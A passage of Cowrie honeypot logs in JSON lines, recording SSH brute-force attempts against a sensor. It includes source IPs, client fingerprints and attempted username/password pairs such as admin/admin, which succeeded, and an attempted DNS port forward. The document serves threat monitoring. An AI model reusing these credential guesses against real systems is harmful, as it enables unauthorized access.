failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:51:14.131061Z","src_ip":"86.111.187.163","session":"57c4c23d05cb","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ab:0b:0e:5c:12:eb:55:13:5c:ee:57:1b:d5:6e:6e:e3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDHC0D7rDLYAZBQ8B+3115S+nuUq5YEeiDMKnDh0rZoMI1k5mVweEgitQtvduUQ/HJjuHkgIacA0j3n0q2AmGSxsCisvr3hSeL45c3mxWkIjAqSpR8nBdLfsPXLfK5iv5FYuPVrgg7srNxr7qPNJXIKXugMCIDmMfgJUg3Abp5yn2nXXLAHNf4SmVjYxZ4GPHdYlMRWDdV5j//vEfcOStStdVIfzWI1TfEw75RfkhMgeiSKctKQAU+Uu1EVN92K4/serxMzxlG21XURtNyqO7hjoWHXZvuC62nZVHZqNFaEpVQBC5MCeApqimIEnFVYk3r+GfmCmDJfNppAPFKyJbQ7","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ab:0b:0e:5c:12:eb:55:13:5c:ee:57:1b:d5:6e:6e:e3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:51:14.203596Z","src_ip":"86.111.187.163","session":"57c4c23d05cb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ab:0b:0e:5c:12:eb:55:13:5c:ee:57:1b:d5:6e:6e:e3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDHC0D7rDLYAZBQ8B+3115S+nuUq5YEeiDMKnDh0rZoMI1k5mVweEgitQtvduUQ/HJjuHkgIacA0j3n0q2AmGSxsCisvr3hSeL45c3mxWkIjAqSpR8nBdLfsPXLfK5iv5FYuPVrgg7srNxr7qPNJXIKXugMCIDmMfgJUg3Abp5yn2nXXLAHNf4SmVjYxZ4GPHdYlMRWDdV5j//vEfcOStStdVIfzWI1TfEw75RfkhMgeiSKctKQAU+Uu1EVN92K4/serxMzxlG21XURtNyqO7hjoWHXZvuC62nZVHZqNFaEpVQBC5MCeApqimIEnFVYk3r+GfmCmDJfNppAPFKyJbQ7","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:51:14.206445Z","src_ip":"86.111.187.163","session":"57c4c23d05cb","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5c:d4:2c:f6:3b:e4:fb:12:62:e2:b5:c6:e8:3e:2d:92","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDKwucssgo152+05L4Wqen8xGEIxHtCWJZYyayNnCSGFnpCbCb1ErznRvHQummD10W8KJy8L+FyvnN1AVi26ge2iB9h79xWlK3RhxOwT4BPogFfJgNeOv40pBOyC7Y1iU8kEfg/YpDwMYc+OsIJBv4rTYoUql3K7c51FJnSKFVwRj1h3EbUwYfWWq2v5W24R10ggfViJuqgPEJMZkxRIulnacCvlqAawxd7kDsX58Aaw8KmTSwjJ5QdmuPVJ3TM7nv0zqRp4Sm5mHRzwEnBmvp9kG9LUmR0l0aWbRUXBY8QeXoJR8iPbDr9GG6weO4WbukE6+zAeMGctDnVRpqa9P3B","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 5c:d4:2c:f6:3b:e4:fb:12:62:e2:b5:c6:e8:3e:2d:92","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:51:14.279581Z","src_ip":"86.111.187.163","session":"57c4c23d05cb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5c:d4:2c:f6:3b:e4:fb:12:62:e2:b5:c6:e8:3e:2d:92","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDKwucssgo152+05L4Wqen8xGEIxHtCWJZYyayNnCSGFnpCbCb1ErznRvHQummD10W8KJy8L+FyvnN1AVi26ge2iB9h79xWlK3RhxOwT4BPogFfJgNeOv40pBOyC7Y1iU8kEfg/YpDwMYc+OsIJBv4rTYoUql3K7c51FJnSKFVwRj1h3EbUwYfWWq2v5W24R10ggfViJuqgPEJMZkxRIulnacCvlqAawxd7kDsX58Aaw8KmTSwjJ5QdmuPVJ3TM7nv0zqRp4Sm5mHRzwEnBmvp9kG9LUmR0l0aWbRUXBY8QeXoJR8iPbDr9GG6weO4WbukE6+zAeMGctDnVRpqa9P3B","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:51:14.283208Z","src_ip":"86.111.187.163","session":"57c4c23d05cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:51:14.356628Z","src_ip":"86.111.187.163","session":"57c4c23d05cb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.223.69.22","src_port":42152,"dst_ip":"159.203.135.109","dst_port":22,"session":"b2332592f019","protocol":"ssh","message":"New connection: 89.223.69.22:42152 (159.203.135.109:22) [session: b2332592f019]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:51:20.498406Z"}
{"eventid":"cowrie.session.closed","duration":32.29445767402649,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:51:23.066452Z","src_ip":"107.6.151.170","session":"34080e5ae76d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.53.159.196","src_port":26100,"dst_ip":"10.17.0.5","dst_port":22,"session":"e932620cd353","protocol":"ssh","message":"New connection: 176.53.159.196:26100 (10.17.0.5:22) [session: e932620cd353]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:51:41.720095Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:51:41.723883Z","src_ip":"176.53.159.196","session":"e932620cd353","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:51:41.823718Z","src_ip":"176.53.159.196","session":"e932620cd353","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:51:42.112350Z","src_ip":"176.53.159.196","session":"e932620cd353","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"176.53.159.196","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:51:42.210745Z","session":"e932620cd353","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:51:42.307549Z","src_ip":"176.53.159.196","session":"e932620cd353","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:51:42.405767Z","src_ip":"176.53.159.196","session":"e932620cd353","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.36.147.215","src_port":36090,"dst_ip":"10.17.0.5","dst_port":22,"session":"c80945836426","protocol":"ssh","message":"New connection: 194.36.147.215:36090 (10.17.0.5:22) [session: c80945836426]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:51:57.208134Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:51:57.211839Z","src_ip":"194.36.147.215","session":"c80945836426","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:51:57.300453Z","src_ip":"194.36.147.215","session":"c80945836426","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bch","password":"bch123","message":"login attempt [bch/bch123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:51:57.569131Z","src_ip":"194.36.147.215","session":"c80945836426","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:51:58.660475Z","src_ip":"194.36.147.215","session":"c80945836426","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":42988,"dst_ip":"10.17.0.5","dst_port":22,"session":"7f77088bbab0","protocol":"ssh","message":"New connection: 109.237.96.109:42988 (10.17.0.5:22) [session: 7f77088bbab0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:52:07.220995Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:52:07.225085Z","src_ip":"109.237.96.109","session":"7f77088bbab0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:52:07.313991Z","src_ip":"109.237.96.109","session":"7f77088bbab0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"220193","message":"login attempt [root/220193] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:52:07.584140Z","src_ip":"109.237.96.109","session":"7f77088bbab0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:52:08.676880Z","src_ip":"109.237.96.109","session":"7f77088bbab0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.169.244.109","src_port":54792,"dst_ip":"159.203.135.109","dst_port":22,"session":"be4382328c58","protocol":"ssh","message":"New connection: 192.169.244.109:54792 (159.203.135.109:22) [session: be4382328c58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:52:09.085764Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:52:09.088012Z","src_ip":"192.169.244.109","session":"be4382328c58","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:52:09.151767Z","src_ip":"192.169.244.109","session":"be4382328c58","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"avalanche","password":"avalanche321","message":"login attempt [avalanche/avalanche321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:52:09.349149Z","src_ip":"192.169.244.109","session":"be4382328c58","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:52:10.417053Z","src_ip":"192.169.244.109","session":"be4382328c58","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.10","src_port":38500,"dst_ip":"10.17.0.5","dst_port":22,"session":"7bc86be3a49e","protocol":"ssh","message":"New connection: 91.92.40.10:38500 (10.17.0.5:22) [session: 7bc86be3a49e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:52:20.493567Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:52:20.570899Z","src_ip":"91.92.40.10","session":"7bc86be3a49e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:52:20.647784Z","src_ip":"91.92.40.10","session":"7bc86be3a49e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"access","message":"login attempt [admin/access] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:52:21.232544Z","src_ip":"91.92.40.10","session":"7bc86be3a49e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:52:22.317556Z","src_ip":"91.92.40.10","session":"7bc86be3a49e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.53.159.196","src_port":48942,"dst_ip":"159.203.135.109","dst_port":22,"session":"1b99eb123379","protocol":"ssh","message":"New connection: 176.53.159.196:48942 (159.203.135.109:22) [session: 1b99eb123379]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:52:32.501016Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:52:32.504636Z","src_ip":"176.53.159.196","session":"1b99eb123379","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:52:32.605281Z","src_ip":"176.53.159.196","session":"1b99eb123379","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:52:32.916352Z","src_ip":"176.53.159.196","session":"1b99eb123379","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"176.53.159.196","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:52:33.019022Z","session":"1b99eb123379","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:52:33.120614Z","src_ip":"176.53.159.196","session":"1b99eb123379","protocol":"ssh"}
